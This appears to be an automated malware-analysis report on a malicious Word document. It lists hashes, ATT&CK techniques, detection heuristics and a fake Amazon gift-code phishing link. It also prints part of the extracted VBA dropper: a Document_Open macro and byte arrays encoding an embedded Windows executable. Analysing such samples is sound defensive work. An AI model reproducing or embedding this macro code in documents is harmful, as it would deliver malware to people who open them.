Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 52c7fe0aa545b516…

MALICIOUS

Office (OLE)

4.03 MB Created: 2016-08-29 13:49:00 Authoring application: Microsoft Office Word First seen: 2019-03-18
MD5: 2843a3b7805ffc7fd058b9fd744ec836 SHA-1: c16533eea637696e8d61faa8ee6e76b3307a85d7 SHA-256: 52c7fe0aa545b5160e551d9673307d872ddaa883b463bacf1830aa02abee4f40
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The document contains a VBA macro with a Document_Open subroutine that executes a Shell() command, indicating it is designed to run arbitrary code. The document body presents a fake Amazon gift code and a link, suggesting a phishing or credential harvesting attempt. The presence of a ClamAV detection for 'Doc.Dropper.Agent' further supports its malicious nature as a dropper.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-1659254 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-1659254
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.amazon.com/giftsredeemingrightnow In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2842962 bytes
SHA-256: 27ea849ac0b97fe206332e55b925205545dafdf270a7847485163b49e2ea79a3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private tmp(6237) As Variant
Private Sub Document_Open()
    Selection.Delete
    Selection.Delete
   First
End Sub
Private Sub gogogo0()
    tmp(0) = Array(77, 90, 144, 0, 3, 0, 0, 0, 4, 0, 0, 0, 255, 255, 0, 0, 184, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 240, 0, 0, 0, 14, 31, 186, 14, 0, 180, 9, 205, 33, 184, 1, 76, 205, 33, 84, 104, 105, 115, 32, 112, 114, 111, 103, 114, 97, 109, 32, 99, 97, 110, 110, 111, 116, 32, 98, 101)
    tmp(1) = Array(32, 114, 117, 110, 32, 105, 110, 32, 68, 79, 83, 32, 109, 111, 100, 101, 46, 13, 13, 10, 36, 0, 0, 0, 0, 0, 0, 0, 67, 19, 6, 248, 7, 114, 104, 171, 7, 114, 104, 171, 7, 114, 104, 171, 32, 180, 19, 171, 5, 114, 104, 171, 186, 61, 254, 171, 4, 114, 104, 171, 14, 10, 253, 171, 6, 114, 104, 171, 14, 10, 236, 171, 5, 114, 104, 171, 14, 10, 251, 171, 2, 114, 104, 171, 7, 114, 105, 171, 150, 114, 104, 171, 14, 10, 235, 171, 16, 114, 104, 171)
    tmp(2) = Array(25, 32, 252, 171, 6, 114, 104, 171, 14, 10, 249, 171, 6, 114, 104, 171, 82, 105, 99, 104, 7, 114, 104, 171, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 80, 69, 0, 0, 76, 1, 4, 0, 151, 73, 105, 87, 0, 0, 0, 0, 0, 0, 0, 0, 224, 0, 2, 1, 11, 1, 9, 0, 0, 106, 8, 0, 0, 22, 1, 0, 0, 0, 0, 0, 69, 87, 5, 0, 0, 16, 0, 0, 0, 128, 8, 0, 0, 0, 64, 0, 0, 16, 0, 0)
    tmp(3) = Array(0, 2, 0, 0, 5, 0, 0, 0, 5, 0, 3, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 48, 10, 0, 0, 4, 0, 0, 156, 230, 9, 0, 2, 0, 0, 129, 0, 0, 128, 0, 0, 16, 0, 0, 0, 0, 16, 0, 0, 16, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 12, 222, 8, 0, 100, 0, 0, 0, 0, 224, 9, 0, 220, 79, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    tmp(4) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 128, 8, 0, 24, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 46, 116, 101, 120, 116, 0, 0, 0, 221, 105, 8, 0)
    tmp(5) = Array(0, 16, 0, 0, 0, 106, 8, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 96, 46, 114, 100, 97, 116, 97, 0, 0, 174, 99, 0, 0, 0, 128, 8, 0, 0, 100, 0, 0, 0, 110, 8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 64, 46, 100, 97, 116, 97, 0, 0, 0, 0, 225, 0, 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